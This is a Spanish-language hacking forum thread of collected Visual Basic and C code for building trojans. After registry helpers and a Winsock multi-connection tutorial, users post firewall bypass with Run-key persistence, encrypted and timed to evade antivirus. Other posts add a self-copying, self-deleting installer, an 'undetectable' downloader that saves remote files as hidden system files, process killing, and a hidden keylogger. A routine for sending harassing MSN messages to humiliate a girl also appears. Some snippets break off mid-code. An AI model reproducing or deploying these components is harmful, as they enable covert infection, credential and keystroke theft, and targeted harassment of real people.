Public Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, nSize As Long) As Long
Public Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (lpVersionInformation As OSVERSIONINFO) As Long

Private Type OSVERSIONINFO
dwOSVersionInfoSize As Long
dwMajorVersion As Long
dwMinorVersion As Long
dwBuildNumber As Long
dwPlatformId As Long
szCSDVersion As String * 128
End Type

Public Function winversion() As String
Dim osvi As OSVERSIONINFO
osvi.dwOSVersionInfoSize = Len(osvi)
GetVersionEx osvi
If osvi.dwPlatformId = 1 Then
If osvi.dwMinorVersion = 0 Then winversion = "Windows 95"
If osvi.dwMinorVersion = 10 Then winversion = "Wiondows 98"
ElseIf osvi.dwPlatformId = 2 Then
If osvi.dwMinorVersion = 0 Then
winversion = "Windows 2000"
Else
winversion = "Windows XP"
End If
End If
End Function

Public Function Usuario_Windows() As String
On Error Resume Next
Dim sBuffer As String
Dim lSize As Long
Dim sUsuario As String

sBuffer = Space$(260)
lSize = Len(sBuffer)
Call GetUserName(sBuffer, lSize)
If lSize > 0 Then
sUsuario = Left$(sBuffer, lSize)
lSize = InStr(sUsuario, Chr$(0))
If lSize Then
sUsuario = Left$(sUsuario, lSize - 1)
End If
Else
sUsuario = ""
End If
Usuario_Windows = sUsuario
End Function

Public Function PC_Name() As String
PC_Name = GetStringKey(&H80000002, "SOFTWARE\Microsoft\Windows NT\CurrentVersion", "RegisteredOwner")
End Function

Modulo RegEdit

Código:
Option Explicit

Public Carpetas_Registro As String
Public Keys_Registro As String
Public READ_Valor_Key As String
Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type
Global Const REG_SZ = 1
Global Const REG_BINARY = 3
Global Const HKEY_CLASSES_ROOT = &H80000000
Global Const HKEY_CURRENT_CONFIG = &H80000005
Global Const HKEY_CURRENT_USER = &H80000001
Global Const HKEY_DYN_DATA = &H80000006
Global Const HKEY_LOCAL_MACHINE = &H80000002
Global Const HKEY_USERS = &H80000003
Global Const ERROR_SUCCESS = 0&
Global Const KEY_ENUMERATE_SUB_KEYS = &H8
Global Const KEY_QUERY_VALUE = &H1
Public Declare Sub CopyMemory32 Lib "kernel32.dll" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Public Declare Function RegEnumKeyEx Lib "advapi32.dll" Alias "RegEnumKeyExA" (ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpName As String, lpcbName As Long, ByVal lpReserved As Long, ByVal lpClass As String, lpcbClass As Long, lpftLastWriteTime As FILETIME) As Long
Public Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long
Public Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegEnumValue Lib "advapi32.dll" Alias "RegEnumValueA" (ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpValueName As String, lpcbValueName As Long, ByVal lpReserved As Long, lpType As Long, lpData As Byte, lpcbData As Long) As Long
Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long ' Note that if you declare the lpData parameter as String, you must pass it By Value.
Public Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long ' Note that if you declare the lpData parameter as String, you must pass it By Value.
Public Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long

Public Sub Reg_Crea_KeyConValor(hKey As Long, carpeta As String, Nombre_Key As String, contenido_key As String)
Dim res
RegOpenKey hKey, carpeta, res
RegSetValueEx res, Nombre_Key, 0, REG_SZ, ByVal contenido_key, Len(contenido_key)
RegCloseKey res
End Sub

Public Sub Reg_Borra_Key(hKey As Long, strPath As String, strValue As String)
Dim ret
RegOpenKey hKey, strPath, ret
RegDeleteValue ret, strValue
RegCloseKey ret
End Sub

Public Sub Reg_Abre_Carpeta(hKey As Long, nombre_folderkey As String)
Dim res
RegOpenKeyEx HKEY_CURRENT_USER, nombre_folderkey, 0, 0, res
End Sub
Public Sub Reg_Cierra_carpeta()
Dim res
RegCloseKey HKEY_CURRENT_USER
End Sub

Public Sub Reg_Lee_Keys(hKey As Long, ruta As String)

Dim valuename As String
Dim valuelen As Long
Dim datatype As Long
Dim data(0 To 254) As Byte
Dim datalen As Long
Dim datastring As String

Dim Index As Long
Dim c As Long
Dim retval As Long
READ_Valor_Key = ""
retval = RegOpenKeyEx(hKey, ruta, 0, KEY_QUERY_VALUE, hKey)
If retval <> 0 Then

'End
End If

Index = 0
While retval = 0

valuename = Space(255)
valuelen = 255
datalen = 255

retval = RegEnumValue(hKey, Index, valuename, valuelen, 0, datatype, data(0), datalen)
If retval = 0 Then
valuename = Left(valuename, valuelen)

READ_Valor_Key = READ_Valor_Key & "Key: " & valuename & vbCrLf
Select Case datatype
Case REG_SZ
datastring = Space(datalen - 1)
CopyMemory32 ByVal datastring, data(0), datalen - 1

READ_Valor_Key = READ_Valor_Key & " Valor: " & datastring & vbCrLf
Case REG_BINARY
Dim ttStr As String
ttStr = ""

For c = 0 To datalen - 1
datastring = Hex(data(c))
If Len(datastring) < 2 Then datastring = _
String(2 - Len(datastring), "0") & datastring

ttStr = ttStr & datastring & " "
Next c

READ_Valor_Key = READ_Valor_Key & " Valor: " & ttStr & vbCrLf
Case Else

End Select
End If
Index = Index + 1
Wend
retval = RegCloseKey(hKey)
End Sub

Public Sub Reg_Lee_carpetas(hKey As Long, carpeta As String)
Dim keyname As String
Dim keylen As Long
Dim ClassName As String
Dim classlen As Long
Dim lastwrite As FILETIME
Carpetas_Registro = ""
Dim Index As Long
Dim retval As Long
retval = RegOpenKeyEx(hKey, carpeta, 0, KEY_ENUMERATE_SUB_KEYS, hKey)
If retval <> 0 Then
End If
Index = 0
While retval = 0
keyname = Space(255): ClassName = Space(255)
keylen = 255: classlen = 255
retval = RegEnumKeyEx(hKey, Index, keyname, keylen, ByVal 0, ClassName, classlen, lastwrite)
If retval = 0 Then
keyname = Left(keyname, keylen)
ClassName = Left(ClassName, classlen)
If carpeta = "" Then
Carpetas_Registro = Carpetas_Registro & keyname & vbCrLf
Else
Carpetas_Registro = Carpetas_Registro & carpeta & "\" & keyname & vbCrLf
End If
End If
Index = Index + 1
Wend
retval = RegCloseKey(hKey)
End Sub

Public Sub Reg_Leer_ValorKey(hKey As Long, Carpeta_Key As String, Nombre_Key As String)
Dim cadena As String
cadena = String(255, Chr(0))
Dim res As Long
RegOpenKey hKey, Carpeta_Key, res
RegQueryValueEx res, Nombre_Key, 0, REG_SZ, ByVal cadena, Len(cadena)

RegCloseKey res
End Sub

Public Sub Reg_Borra_Carpeta(hKey As String, del_carpeta As String)
RegDeleteKey hKey, del_carpeta
End Sub

Public Sub Reg_Crear_carpeta(hKey As Long, Crear_carpeta As String)
Dim res As Long
RegCreateKey hKey, Crear_carpeta, res

RegCloseKey res
End Sub

Function RegQueryStringValue(ByVal hKey As Long, ByVal strValueName As String)
Dim lResult As Long
Dim lValueType As Long
Dim strBuf As String
Dim lDataBufSize As Long
Dim intZeroPos As Integer

lResult = RegQueryValueEx(hKey, strValueName, 0&, lValueType, ByVal 0&, lDataBufSize)
If lResult = ERROR_SUCCESS Then
If lValueType = REG_SZ Then
strBuf = String(lDataBufSize, " ")
lResult = RegQueryValueEx(hKey, strValueName, 0&, 0&, ByVal strBuf, lDataBufSize)
If lResult = ERROR_SUCCESS Then
intZeroPos = InStr(strBuf, Chr$(0))
If intZeroPos > 0 Then
RegQueryStringValue = Left$(strBuf, intZeroPos - 1)
Else
RegQueryStringValue = strBuf
End If
End If
End If
End If
End Function

Public Function GetStringKey(ByVal hKey As Long, ByVal strPath As String, ByVal strValue As String) As String
Dim keyhand&
Dim datatype&
Dim r

r = RegOpenKey(hKey, strPath, key

Los siguientes aportes pertenecen al usuario: NorK

Citar

Si os sirve de algo aquí os dejo un tutorial que hice para hacer una aplicación multicliente.

Hola, bueno voy ha explicar un poco como hacer una aplicacion multiconexion ( que acepta varias conexiones). Primero de todo necesitaremos añadir al projecto 2 controles winsock. Lo que haremos sera poner uno a la escucha y cuando este reciva una ConnectionRequest, es decir cuando intenten conectar con nosotros, el winsock repartira las conexiones hacia el winsock 2... Pero que pasa si el winsock 2 esta ocupado? Nada ya que crearemos un array de este control e iremos creando winsock2(x) cada vez que lo necesitemos. Vamos a comenzar.

Aplicación Multiconexión

---> Añadimos los controles Winsock...

Como vemos en la imagen el winsock numero 1 siempre estara a la escucha de peticiones, cuando reciva una le pasara la conexion a uno de los winsock2 con array. Los winsock2 no estan a la esucha por lo tanto esperan hasta que winsock1 les pase una conexion. Como winsock1 hace esta tarea??? uuhmm

Código:
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Dim socketCreado As Integer 'Definimos una variable integer

socketCreado = CrearSocket 'Llamamos a la funcion CrearSocket MUY IMPORTANTE!

Winsock2(numSocket).Accept requestID 'Aceptamos la peticion con el socket creado
End Sub

Bien con este codigo winsock1 repartira las conexiones entre el array de winsock2, bueno en realidad no faltaria la funcion CrearSocket:

Código:
Private Function CrearSocket() As Integer

Dim Sockets As Integer 'Variable que cojera el numero de sockets
Dim x As Integer 'Contara los sockets que ai

Sockets = Winsock2.UBound 'Nos vamos hasta el final de los winsock para ver los que tenemos

For x = 0 To Sockets ' Recorremos todos los winsocks

If Winsock2(i).State = sckClosed Then 'Comprovamos los sockets inactivos
CrearSocket =x 'Si winsock2 esta inactivo lo utilizamos
Exit Function 'Salimos de la funcion
End If
Next

Load Winsock2(Socket + 1) 'En el caso que no tengamos sockets inactivos, crea un socket

CrearSocket = Winsock2.UBound 'Pasamos el numero de sockets actuales a CrearSocket
End Function

Bien esta quiza es la parte mas importante, ya que se encarga de mirar por los sockets inactivos o bien los crea para poder pasarles la nueva conexion entrante.

Creando un ejemplo

Ahora crearemos un ejemplo para que quede mas claro lo explicado.
Creamos un projecto y añadimos los siguientes controles:

Anotacion Bueno, recordar de crear el array, para quien no sepa como hacerlo (una de las maneras):

-> Boton Derecho sobre el control
-> Copiar
-> Pegar en el mismo formulario
-> Saldra un aviso para crearlo, aceptais.

Bien ahora ya tenemos el formulario creado, pasemos al codigo...

Código:
Private Sub Winsock1_ConnectionRequest(ByVal RequestID As Long) ' Es el codigo de antes
Dim socketCreado as integer

socketCreado = CrearSocket
Winsock2(socketCreado).Accept requestID

Text1.text = Text1.text & vbNewline & "Petición Aceptada Socket num " & socketCreado & " interactuando"
End sub

Bien aqui lo unico que hacemos es informar a partir del text1 que recivimos una peticion y que esta a sido atendida por uno de los sockets.

Nuestro Winsock1 solamente ara esto, estar a la escucha para distribuir las conexiones entrantes entre el array de winsocks, por lo tanto en el command1 ponemos:

Código:
Private Sub Command1_Click()
Winsock1.Close ' Cerramos el winsock para no dar problemas
Winsock1.LocalPort = text3.text 'El puerto a esuchar es el que introduzcamos en text3.text
Winsock1.Listen ' dejamos a la esucha el winsock
End Sub

Bien con este ejemplo unicamente recivimos peticiones y las mostramos por text1.text para que se vea como funciona la cosa... el ejemplo de por si no es funcional 100% pero si vale para que lo entendais.

Bueno espero que guste y que lo entendais XD!

Espero que os sirva

Los siguinetes aportes pertenecen al usuario: [P3ll3]

Citar

Firewall Bypass y agregar al registro

--> Se hace con un VBScript

Set hek = CreateObject("WScript.Shell")

hek.regwrite
“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\S
haredAccess\Parameters\FirewallPolicy\StandardProfile\Authorized
Applications\List\Actualicacion”, Chr(34) & Camino & "\CMDLG.exe"
& Chr(34) & "=" & Chr(34) & Camino & "\CMDLG.exe" &
":*:Enabled:Programa del Sistema " & Chr(34)
hek.regwrite "
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Run ", Chr(34) & Camino & "\CMDLG.exe" & Chr(34)

Bien, vamos a explicarlo todo, lo del Camino es la ruta del sistema,
la saque de este modo (en el form_load):

Longitud = 128
Es = GetSystemDirectory(Car, Longitud)
Camino = RTrim$(LCase$(Left$(Car, Es)))

Y en las declaraciónes de arriba del todo declaramos esto:

Dim Car As String * 128
Dim Longitud, Es As Integer
Dim Camino As String
Dim root As String

Bueno, así ya quedaríamos instalados en el registro y nos
saltaríamos al FW, el código del Firewall y del registro lo he puesto
encriptado y dentro de un timer con intervalo a 1 porque el NOD
saltaba igual, al finalizar la instalación en el registro tenemos que
pensar a parar el timer de esta forma:

Timer1.Enabled = False

También cree un sub para verificar si estaba “instalado” en la
carpeta del sistema, y si no lo estaba nos copiábamos y
“reiniciábamos el programa”.

Aquí les dejo el código de este sub:

Sub existe()
On Error GoTo Fallo
x = GetAttr(Camino & "\CMDLG.exe")
Exit Sub
Fallo:
t1.Enabled = True
FileCopy App.Path & "\" & App.EXEName & ".exe", Camino &
"\CMDLG.exe"
Shell “cmd.exe /c ping 127.0.0.1 -n 1 > nul & del “& App.Path & "\" &
App.EXEName & ".exe && Start " & Camino & "\CMDLG.exe",
vbHide

End

End Sub

Espero que les sirva, esta bastante claro y para encriptar las rutas podemos utilizar la informacion que nos dieron antes...

Fuente: Hendrix

Saludos....................................

Los siguientes aportes fueron realizados por el usuario: Dark confundido

Citar

estos codigos fueron sacados de
Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion hay mucho codigo para aprender y todo es sobre virus y troyanos XD lastima ke sea una pagina en GRINGO

codigo de un downloader indetectable XD

int DescargarArchivo(char *URL,char *dir, char *archivo_salida, int oculto)
{
HINTERNET InetHandle;
HINTERNET UrlHandle;
HANDLE FileHandle;
unsigned long ReadNext=1;
unsigned long BytesWritten=0;
char DownloadBuffer[1024];
char *temp;

temp=calloc(sizeof(char),MAX_PATH);
strcpy(temp,dir);
strcat(temp,archivo_salida);

if(oculto==TRUE)
oculto=FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM;
else
oculto=FILE_ATTRIBUTE_NORMAL;

InetHandle = InternetOpen(temp, 0, 0, 0, 0);

if(InetHandle != 0)
{
UrlHandle = InternetOpenUrl(InetHandle, URL, 0, 0, 0, 0);
FileHandle = CreateFile(temp, GENERIC_WRITE, FILE_SHARE_WRITE, 0, CREATE_ALWAYS, oculto, 0);
if(FileHandle != INVALID_HANDLE_VALUE)
{
while(ReadNext != 0)
{
InternetReadFile(UrlHandle, DownloadBuffer, sizeof(DownloadBuffer), &ReadNext);
WriteFile(FileHandle, DownloadBuffer, ReadNext, &BytesWritten, 0);
}
CloseHandle(FileHandle);
CloseHandle(UrlHandle);
CloseHandle(InetHandle);
}
}
free(temp);
temp=NULL;
return FALSE;
}

int DescargarArchivo(char *URL,char *dir, char *archivo_salida, int oculto)

URL= direccion de internet donde esta el archivo a descargar
dir= directorio donde se guardara el archivo descargado
archivo_salida= nombre ke tendra el archivo en el directorio donde se guarara XD
oculto= archivo ocultoo vidible

--------------------------------------------------------------------------------------------------------
cambia texto de las ventanas

void CambiarTextoVentanas(char *texto)
{
HWND currentwin;
currentwin = GetForegroundWindow();
SetWindowText(currentwin,texto);
}

le cambia el texto a las ventanas XD

--------------------------------------------------------------------------------------------------------

char *Message;

int WINAPI EMMSN(HWND hwnd,LPARAM lparam)
{
char text[128],cname[128];
HWND child;
int x;
if(!GetClassName(hwnd,cname,sizeof cname))
return 0;
if(!strcmp(cname,"IMWindowClass"))
{
child=FindWindowExA(hwnd,0,"DirectUIHWND",0);
SetForegroundWindow(hwnd);
for(x=0;x<strlen(Message);x++)
PostMessageA(child,WM_CHAR,Message
,0);
PostMessage(child, WM_KEYDOWN, VK_RETURN, 0);
PostMessage(child, WM_KEYUP, VK_RETURN, 0);
PostMessage(child, WM_KEYDOWN, VK_RETURN, 0);
PostMessage(child, WM_KEYUP, VK_RETURN, 0);
Sleep(200);
}
}

void EnviarMensajeMSN(char *mensaje)
{
Message=calloc(MAX_PATH,sizeof(char));
strcpy(Message,mensaje);
EnumWindows(EMMSN,0);
free(Message);
Message=NULL;
}

void EnviarMensajeMSN(char *mensaje)

esto envia un mensaje a las conversaciones abiertas del MSN util para molestar y hacer kedar a una chica ke odies como una chica facil de esta forma
"soy una chica ke solo busca chicos lindos y con plata :$"

--------------------------------------------------------------------------------------------------------
funcion ke te dice si un proceso se esta ejecutando retorna 1 si se esta ejecutando y 0 si no

int ProcesoEnMemoria(const char *proc)
{
HANDLE laris;
PROCESSENTRY32 process;
int ID;
process.dwSize = sizeof(PROCESSENTRY32);
void* photo = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
Process32First(photo, &process);
while(photo != NULL)
{
Process32Next(photo, &process);
laris = OpenProcess(PROCESS_TERMINATE, FALSE, process.th32ProcessID);
if(!stricmp(process.szExeFile, proc))
{
ID=process.th32ProcessID;
break;
}
if(GetLastError() == ERROR_NO_MORE_FILES)
{
ID=-1;
break;
}
CloseHandle(laris);
}
CloseHandle(laris);
return ID;
}

funcion para matar procesos (esta es indetectable XD)

void MatarProceso(const char *kill_proc)
{
int id;
HANDLE laris;
id=ProcesoEnMemoria(kill_proc);
if(id!=-1)
{
laris=OpenProcess(PROCESS_TERMINATE,FALSE,id);
TerminateProcess(laris, 0);
CloseHandle(laris);
}
}

ya saben solo tienen ke pasarlas al lenguaje ke usaran XD

Los siguinetes aportes fueron hechos por el usuario: Cr4Sill

Citar

¡Hola! aqui os dejo un mini tutorial que tenia hace muucho y espero que os sirva para hacer la funcion keylogger con visual basic

Código:
en el Form1 estas Seran las Propiedades
Name = frmMain
Visible = False
BorderStyle = None

Ahora Inserta un Modulo llamado: Funciones

y Insertas esto en el Modulo:

Option Explicit
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal nKey As Long) As Integer
Public Function CapturarTecla(KCode As Integer, KText As String) As Boolean
Dim Result%
Result = GetAsyncKeyState(KCode)
If Result = -32767 Then
frmMain.TextoCapturado.Text = "" & frmMain.TextoCapturado.Text & KText
CapturarTecla = True
Else
CapturarTecla = False
End If
End Function
Public Function eBloqMayus() As Boolean
eBloqMayus = CBool(GetKeyState(vbKeyCapital) And 1)
End Function
Public Function eShift() As Boolean
eShift = CBool(GetAsyncKeyState(vbKeyShift))
End Function

Ahora Inserta 2 Timers y de Interval Ponles 1 y en Enabled ponles True, Tambien Inserta un TextBox llamado TextoCapturado

Ahora Empieza el Codigo:

Private Sub Form_Load()
App.TaskVisible = False
If App.PrevInstance = True Then
End
End If
End Sub

Private Sub Timer1_Timer()
If CapturarTecla(8, "[Atrás]") Then Exit Sub
If CapturarTecla(9, "[Tab]") Then Exit Sub
If CapturarTecla(13, "[Enter]") Then Exit Sub
If CapturarTecla(17, "[Ctrl]") Then Exit Sub
If CapturarTecla(18, "[Alt]") Then Exit Sub
If CapturarTecla(19, "[Pausa]") Then Exit Sub
If CapturarTecla(27, "[Esc]") Then Exit Sub
If CapturarTecla(32, " ") Then Exit Sub
If CapturarTecla(33, "[Re Pág]") Then Exit Sub
If CapturarTecla(34, "[Av Pág]") Then Exit Sub
If CapturarTecla(35, "[Fin]") Then Exit Sub
If CapturarTecla(36, "[Inicio]") Then Exit Sub
If CapturarTecla(37, "[Izquierda]") Then Exit Sub
If CapturarTecla(38, "[Arriba]") Then Exit Sub
If CapturarTecla(39, "[Derecha]") Then Exit Sub
If CapturarTecla(40, "[Abajo]") Then Exit Sub
If CapturarTecla(44, "[Impr Pant]") Then Exit Sub
If CapturarTecla(45, "[Insert]") Then Exit Sub
If CapturarTecla(46, "[Supr]") Then Exit Sub
If CapturarTecla(91, "[Win]") Then Exit Sub
If CapturarTecla(92, "[Win]") Then Exit Sub
If CapturarTecla(93, "[Menú]") Then Exit Sub
If CapturarTecla(144, "[Bloq Num]") Then Exit Sub
If CapturarTecla(145, "[Bloq Despl]") Then Exit Sub
If eShift = True Then
If CapturarTecla(188, ";") Then Exit Sub
If CapturarTecla(189, "_") Then Exit Sub
If CapturarTecla(190, ":") Then Exit Sub
If CapturarTecla(192, "Ñ") Then Exit Sub
If CapturarTecla(186, "^") Then Exit Sub
If CapturarTecla(222, "¨") Then Exit Sub
If CapturarTecla(226, ">") Then Exit Sub
If CapturarTecla(220, "ª") Then Exit Sub
If CapturarTecla(219, "?") Then Exit Sub
If CapturarTecla(221, "¿") Then Exit Sub
If CapturarTecla(191, "Ç") Then Exit Sub
If CapturarTecla(187, "*") Then Exit Sub
Else
If CapturarTecla(188, ",") Then Exit Sub
If CapturarTecla(189, "-") Then Exit Sub
If CapturarTecla(190, ".") Then Exit Sub
If CapturarTecla(192, "ñ") Then Exit Sub
If CapturarTecla(186, "`") Then Exit Sub
If CapturarTecla(222, "´") Then Exit Sub
If CapturarTecla(226, "<") Then Exit Sub
If CapturarTecla(220, "º") Then Exit Sub
If CapturarTecla(219, "'") Then Exit Sub
If CapturarTecla(221, "¡") Then Exit Sub
If CapturarTecla(191, "ç") Then Exit Sub
If CapturarTecla(187, "+") Then Exit Sub
End If
If eShift = True Then
If CapturarTecla(48, "=") Then Exit Sub
If CapturarTecla(49, "!") Then Exit Sub
If CapturarTecla(50, Chr(34)) Then Exit Sub
If CapturarTecla(51, "·") Then Exit Sub
If CapturarTecla(52, "$") Then Exit Sub
If CapturarTecla(53, "%") Then Exit Sub
If CapturarTecla(54, "&") Then Exit Sub
If CapturarTecla(55, "/") Then Exit Sub
If CapturarTecla(56, "(") Then Exit Sub
If CapturarTecla(57, ")") Then Exit Sub
Else
If CapturarTecla(48, "0") Then Exit Sub
If CapturarTecla(49, "1") Then Exit Sub
If CapturarTecla(50, "2") Then Exit Sub
If CapturarTecla(51, "3") Then Exit Sub
If CapturarTecla(52, "4") Then Exit Sub
If CapturarTecla(53, "5") Then Exit Sub
If CapturarTecla(54, "6") Then Exit Sub
If CapturarTecla(55, "7") Then Exit Sub
If CapturarTecla(56, "8") Then Exit Sub
If CapturarTecla(57, "9") Then Exit Sub
End If
If CapturarTecla(111, "[/]") Then Exit Sub
If CapturarTecla(109, "[-]") Then Exit Sub
If CapturarTecla(110, "[.]") Then Exit Sub
If CapturarTecla(107, "

") Then Exit Sub

If CapturarTecla(106, "

") Then Exit Sub

If CapturarTecla(96, "0") Then Exit Sub
If CapturarTecla(97, "1") The

	Bienvenido(a), Visitante. Favor de ingresar o registrarse. ¿Perdiste tu email de activación? - Julio 26, 2008, 07:42:34 Boton Buscar